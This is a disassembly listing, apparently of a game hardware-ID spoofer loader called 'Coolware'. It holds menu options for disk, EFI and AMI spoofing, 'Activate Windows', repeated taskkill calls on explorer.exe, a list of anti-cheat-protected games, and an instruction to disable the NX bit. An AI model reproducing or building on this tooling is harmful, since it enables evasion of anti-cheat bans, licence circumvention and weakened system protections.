lea rdx, [rbp + 0x560]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
call fcn.140042990
jmp 0x14004a127
mov r8d, 0x11
lea rcx, [rbp - 0x78]
mov rdx, rbx
call fcn.14004d410
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x580]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp + 0x580]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
call fcn.140044a40
call fcn.1400409c0
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1e8]
mov dword [rbp + 0x1e8], 0x435c0000
lea rcx, str.Temp_Disk_Spoof
mov dword [rbp + 0x1ec], 0x42340000
call fcn.140031050
test al, al
je 0x14004a176
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140045b80
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400157a0
lea rcx, str.Temp_Disk_Null
mov dword [rbp + 0x1f0], 0x435c0000
lea rdx, [rbp + 0x1f0]
mov dword [rbp + 0x1f4], 0x42340000
call fcn.140031050
test al, al
je 0x14004a1c0
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003f210
lea rdx, [rbp + 0x1f8]
mov dword [rbp + 0x1f8], 0x435c0000
lea rcx, str.Ami_Spoof
mov dword [rbp + 0x1fc], 0x42340000
call fcn.140031050
test al, al
je 0x14004a1fd
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140041430
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400157a0
lea rcx, str.EFI_Spoof
mov dword [rbp + 0x200], 0x435c0000
lea rdx, [rbp + 0x200]
mov dword [rbp + 0x204], 0x42340000
call fcn.140031050
test al, al
je 0x14004a31f
call fcn.14003fbd0
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x1400fb0e0]
lea r9, [rbp - 0x48]
movsd xmm0, qword [str.C:coolware]
lea r8, str.explorer.exe
mov word [rbp - 0x40], ax
lea rdx, str.open
movzx eax, byte [0x1400fb0e2]
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov byte [rbp - 0x3e], al
mov dword [rbp - 0x3c], r13d
mov qword [rbp - 0x38], 0xb
mov qword [rbp - 0x30], rsi
movsd qword [rbp - 0x48], xmm0
mov byte [rbp - 0x3d], r13b
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14004a303
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a2fe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b39a
call fcn.1400ccee8
mov r9d, 0x40
lea r8, str.Coolware_Services
lea rdx, str.Copy_ALL_of_he_files_in_C:_coolware_to_an_empty_usb_drive_wich_you_will_then_boot_from._Make_a_ticket_for_help__MAKE_SURE_NX_MODE_NX_BIT_IS_TURNED_OFF___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [rbp + 0x208]
mov dword [rbp + 0x208], 0x435c0000
lea rcx, str.Network_Virtualization
mov dword [rbp + 0x20c], 0x42340000
call fcn.140031050
test al, al
je 0x14004a361
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140045560
call fcn.1400457e0
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400157a0
lea rcx, str.Deep_Clean
mov dword [rbp + 0x210], 0x435c0000
lea rdx, [rbp + 0x210]
mov dword [rbp + 0x214], 0x42340000
call fcn.140031050
test al, al
je 0x14004a3ab
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003ef30
lea rdx, [rbp + 0x218]
mov dword [rbp + 0x218], 0x435c0000
lea rcx, str.Activate_Windows
mov dword [rbp + 0x21c], 0x42340000
call fcn.140031050
test al, al
je 0x14004a3e8
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003ec40
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400157a0
lea rcx, str.Instructions
mov dword [rbp + 0x220], 0x435c0000
lea rdx, [rbp + 0x220]
mov dword [rbp + 0x224], 0x42340000
call fcn.140031050
test al, al
je 0x14004a43a
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__docs.google.com_document_d_1YzbsYKrpF4PEz_fr3bNcW9tgb61ZTH9wBCigrqSAOMA_edit_uspsharing
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140015b50
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004b12c
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a479
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b3a1
call fcn.1400ccee8
jmp 0x14004b12c
cmp ecx, r15d
jne 0x14004b12c
test eax, eax
jne 0x14004b12c
movss xmm0, dword [0x1401120c8]
lea rdx, [rbp + 0x228]
movss xmm1, dword [0x1401120cc]
subss xmm0, xmm10
subss xmm1, xmm10
lea rcx, str.Spoofer0
movss dword [rbp + 0x228], xmm0
movss dword [rbp + 0x22c], xmm1
call fcn.14000b630
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a502
cmp qword [rcx + 0x4b30], r13
je 0x14004a50e
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x230]
cmp dword [0x140215fc0], r13d
addss xmm0, xmm0
lea rdx, str.Call_Of_Duty:_All_Franchises
mov dword [rbp + 0x234], 0x42200000
sete cl
subss xmm1, xmm0
movss dword [rbp + 0x230], xmm1
call fcn.1400309c0
test al, al
je 0x14004a55c
mov edx, r13d
mov dword [0x140215fc0], edx
jmp 0x14004a562
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a593
cmp qword [rcx + 0x4b30], r13
je 0x14004a59f
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x238]
cmp edx, r15d
mov dword [rbp + 0x23c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Apex_Legends
subss xmm1, xmm0
movss dword [rbp + 0x238], xmm1
call fcn.1400309c0
test al, al
je 0x14004a5e9
mov edx, r15d
mov dword [0x140215fc0], edx
jmp 0x14004a5ef
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a620
cmp qword [rcx + 0x4b30], r13
je 0x14004a62c
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x240]
cmp edx, 2
mov dword [rbp + 0x244], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Dead_By_Daylight
subss xmm1, xmm0
movss dword [rbp + 0x240], xmm1
call fcn.1400309c0
test al, al
je 0x14004a678
mov edx, 2
mov dword [0x140215fc0], edx
jmp 0x14004a67e
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a6af
cmp qword [rcx + 0x4b30], r13
je 0x14004a6bb
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x248]
cmp edx, 3
mov dword [rbp + 0x24c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Escape_From_Tarkov
subss xmm1, xmm0
movss dword [rbp + 0x248], xmm1
call fcn.1400309c0
test al, al
je 0x14004a707
mov edx, 3
mov dword [0x140215fc0], edx
jmp 0x14004a70d
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a73e
cmp qword [rcx + 0x4b30], r13
je 0x14004a74a
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x250]
cmp edx, 4
mov dword [rbp + 0x254], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.PUBG
subss xmm1, xmm0
movss dword [rbp + 0x250], xmm1
call fcn.1400309c0
test al, al
je 0x14004a796
mov edx, 4
mov dword [0x140215fc0], edx
jmp 0x14004a79c
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a7cd
cmp qword [rcx + 0x4b30], r13
je 0x14004a7d9
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x258]
cmp edx, 5
mov dword [rbp + 0x25c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Rainbow_Six_Siege
subss xmm1, xmm0
movss dword [rbp + 0x258], xmm1
call fcn.1400309c0
test al, al
je 0x14004a825
mov edx, 5
mov dword [0x140215fc0], edx
jmp 0x14004a82b
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a85c
cmp qword [rcx + 0x4b30], r13
je 0x14004a868
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x260]
cmp edx, 6
mov dword [rbp + 0x264], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Super_People
subss xmm1, xmm0
movss dword [rbp + 0x260], xmm1
call fcn.1400309c0
test al, al
je 0x14004a8b4
mov edx, 6
mov dword [0x140215fc0], edx
jmp 0x14004a8ba
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a8eb
cmp qword [rcx + 0x4b30], r13
je 0x14004a8f7
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x268]
cmp edx, 7
mov dword [rbp + 0x26c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Destiny
subss xmm1, xmm0
movss dword [rbp + 0x268], xmm1
call fcn.1400309c0
test al, al
je 0x14004a943
mov edx, 7
mov dword [0x140215fc0], edx
jmp 0x14004a949
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004a97a
cmp qword [rcx + 0x4b30], r13
je 0x14004a986
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x270]
cmp edx, 8
mov dword [rbp + 0x274], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Scum
subss xmm1, xmm0
movss dword [rbp + 0x270], xmm1
call fcn.1400309c0
test al, al
je 0x14004a9d2
mov edx, 8
mov dword [0x140215fc0], edx
jmp 0x14004a9d8
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004aa09
cmp qword [rcx + 0x4b30], r13
je 0x14004aa15
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x278]
cmp edx, 9
mov dword [rbp + 0x27c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.ARMA
subss xmm1, xmm0
movss dword [rbp + 0x278], xmm1
call fcn.1400309c0
test al, al
je 0x14004aa61
mov edx, 9
mov dword [0x140215fc0], edx
jmp 0x14004aa67
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004aa98
cmp qword [rcx + 0x4b30], r13
je 0x14004aaa4
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x280]
cmp edx, 0xa
mov dword [rbp + 0x284], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Smite
subss xmm1, xmm0
movss dword [rbp + 0x280], xmm1
call fcn.1400309c0
test al, al
je 0x14004aaed
mov dword [0x140215fc0], 0xa
mov rax, qword [0x140215f00]
test rax, rax
jne 0x14004ab1a
mov r8d, 0xb7f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
mov rcx, qword [rax + 0x3ef0]
movss xmm0, dword [rcx + 0x20]
movss xmm1, dword [rcx + 0x250]
subss xmm1, xmm0
cmp qword [rcx + 0x1a8], r13
jne 0x14004ab44
cmp qword [rax + 0x4b30], r13
je 0x14004ab50
movss xmm1, dword [rcx + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rax + 0x37f8]
lea r8, [rbp + 0x288]
cmp dword [0x140215fc0], 0xb
addss xmm0, xmm0
lea rdx, str.Battefield
mov dword [rbp + 0x28c], 0x42200000
sete cl
subss xmm1, xmm0
movss dword [rbp + 0x288], xmm1
call fcn.1400309c0
test al, al
je 0x14004aba0
mov edx, 0xb
mov dword [0x140215fc0], edx
jmp 0x14004aba6
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004abd7
cmp qword [rcx + 0x4b30], r13
je 0x14004abe3
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x290]
cmp edx, 0xc
mov dword [rbp + 0x294], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.DayZ
subss xmm1, xmm0
movss dword [rbp + 0x290], xmm1
call fcn.1400309c0
test al, al
je 0x14004ac2f
mov edx, 0xc
mov dword [0x140215fc0], edx
jmp 0x14004ac35
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004ac66
cmp qword [rcx + 0x4b30], r13
je 0x14004ac72
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x298]
cmp edx, 0xd
mov dword [rbp + 0x29c], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Fortnite__Tournaments
subss xmm1, xmm0
movss dword [rbp + 0x298], xmm1
call fcn.1400309c0
test al, al
je 0x14004acbe
mov edx, 0xd
mov dword [0x140215fc0], edx
jmp 0x14004acc4
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004acf5
cmp qword [rcx + 0x4b30], r13
je 0x14004ad01
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2a0]
cmp edx, 0xe
mov dword [rbp + 0x2a4], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.RUST
subss xmm1, xmm0
movss dword [rbp + 0x2a0], xmm1
call fcn.1400309c0
test al, al
je 0x14004ad4d
mov edx, 0xe
mov dword [0x140215fc0], edx
jmp 0x14004ad53
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004ad84
cmp qword [rcx + 0x4b30], r13
je 0x14004ad90
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2a8]
cmp edx, 0xf
mov dword [rbp + 0x2ac], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Valorant__NEW_CHIP_
subss xmm1, xmm0
movss dword [rbp + 0x2a8], xmm1
call fcn.1400309c0
test al, al
je 0x14004add9
mov edx, esi
mov dword [0x140215fc0], edx
jmp 0x14004addf
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004ae10
cmp qword [rcx + 0x4b30], r13
je 0x14004ae1c
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2b0]
cmp edx, 0x10
mov dword [rbp + 0x2b4], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Warframe
subss xmm1, xmm0
movss dword [rbp + 0x2b0], xmm1
call fcn.1400309c0
test al, al
je 0x14004ae68
mov edx, 0x10
mov dword [0x140215fc0], edx
jmp 0x14004ae6e
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004ae9f
cmp qword [rcx + 0x4b30], r13
je 0x14004aeab
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2b8]
cmp edx, 0x11
mov dword [rbp + 0x2bc], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Overwatch
subss xmm1, xmm0
movss dword [rbp + 0x2b8], xmm1
call fcn.1400309c0
test al, al
je 0x14004aef7
mov edx, 0x11
mov dword [0x140215fc0], edx
jmp 0x14004aefd
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004af2e
cmp qword [rcx + 0x4b30], r13
je 0x14004af3a
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2c0]
cmp edx, 0x12
mov dword [rbp + 0x2c4], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Ark:_Survival_Evolved
subss xmm1, xmm0
movss dword [rbp + 0x2c0], xmm1
call fcn.1400309c0
test al, al
je 0x14004af86
mov edx, 0x12
mov dword [0x140215fc0], edx
jmp 0x14004af8c
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004afbd
cmp qword [rcx + 0x4b30], r13
je 0x14004afc9
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2c8]
cmp edx, 0x13
mov dword [rbp + 0x2cc], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.New_World
subss xmm1, xmm0
movss dword [rbp + 0x2c8], xmm1
call fcn.1400309c0
test al, al
je 0x14004b015
mov edx, 0x13
mov dword [0x140215fc0], edx
jmp 0x14004b01b
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004b04c
cmp qword [rcx + 0x4b30], r13
je 0x14004b058
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x2d0]
cmp edx, 0x14
mov dword [rbp + 0x2d4], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Fall_Guys
subss xmm1, xmm0
movss dword [rbp + 0x2d0], xmm1
call fcn.1400309c0
test al, al
je 0x14004b0a4
mov edx, 0x14
mov dword [0x140215fc0], edx
jmp 0x14004b0aa
mov edx, dword [0x140215fc0]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x14004b0db
cmp qword [rcx + 0x4b30], r13
je 0x14004b0e7
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp - 0x18]
cmp edx, 0x16
mov dword [rbp - 0x14], 0x42200000
addss xmm0, xmm0
sete cl
lea rdx, str.Other
subss xmm1, xmm0
movss dword [rbp - 0x18], xmm1
call fcn.1400309c0
test al, al
je 0x14004b127
mov dword [0x140215fc0], 0x16
call fcn.14000b6f0
mov ecx, r15d
call fcn.140004220
mov rcx, qword [0x140215f00]
lea rdx, [rbp - 0x10]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm1, xmm12
addss xmm0, xmm12
movss dword [rax + 0x100], xmm1
movss xmm1, dword [0x1401120cc]
movss dword [rax + 0x104], xmm0
movss xmm0, dword [0x1401120c8]
movss dword [rbp - 0x10], xmm0
movss dword [rbp - 0xc], xmm1
call fcn.140032850
mov rax, qword [0x140215f00]
mov ecx, dword [rax + 0x3f50]
test ecx, ecx
je 0x14004b2bd
cmp ecx, dword [rax + 0x478c]
jne 0x14004b2bd
mov rcx, qword [0x140215f30]
lea rdx, [0x140215f40]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x1401120cc]
lea rcx, [rsp + 0x60]
cvttss2si esi, dword [0x1401120c8]
movaps xmm2, xmm9
call fcn.140012f70
movd xmm0, dword [0x140215f44]
lea rcx, [rsp + 0x78]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm9
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140012f70
mov r9d, esi
mov rcx, qword [0x140215f30]
mov r8d, ebx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140215f40]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x140215f00]
mov r9, qword [0x140215fe8]
mov rcx, qword [rax + 0x3ef0]
cvttss2si edx, dword [rcx + 0x24]
cvttss2si r8d, dword [rcx + 0x20]
mov rcx, qword [0x140215fe0]
cmp rcx, r9
je 0x14004b2bd
nop
mov eax, r8d
sub eax, dword [rcx + 0x30]
mov dword [rcx + 0x30], r8d
movd xmm0, eax
mov eax, edx
sub eax, dword [rcx + 0x34]
cvtdq2ps xmm0, xmm0
mov dword [rcx + 0x34], edx
addss xmm0, dword [rcx + 0x38]
movss dword [rcx + 0x38], xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rcx + 0x3c]
movss dword [rcx + 0x3c], xmm0
add rcx, 0x44
cmp rcx, r9
jne 0x14004b280
call fcn.140010f10
call fcn.14000ac30
mov rcx, qword [0x140215ff8]
lea r8, [0x140215fc8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x318], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x140215ff8]
lea r8, [rbp + 0x318]
mov rdx, qword [0x140215fc8]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140215f00]
cmp dword [rbx + 0x48c0], r13d
jg 0x14004b336
mov r8d, 0x707
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
mov rcx, qword [rax]
mov rax, r13
add rcx, 0x48
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.14003a740
mov rcx, qword [0x140215fd0]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
test r14b, r14b
je 0x140047a6e
mov rbx, qword [0x140215f00]
test rbx, rbx
je 0x14004b3a8
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14004b3cc
jmp 0x14004b3ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdi, r13
mov r8d, 0x241
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader__backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140215f00]
test rbx, rbx
jne 0x14004b3f2
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140215f00]
call fcn.14003b6f0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14004b406
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14004b414
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14004b423
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [0x140215f00]
mov qword [rbx + 0x90], r13
mov qword [rbx + 0xa0], r13
test rax, rax
je 0x14004b443
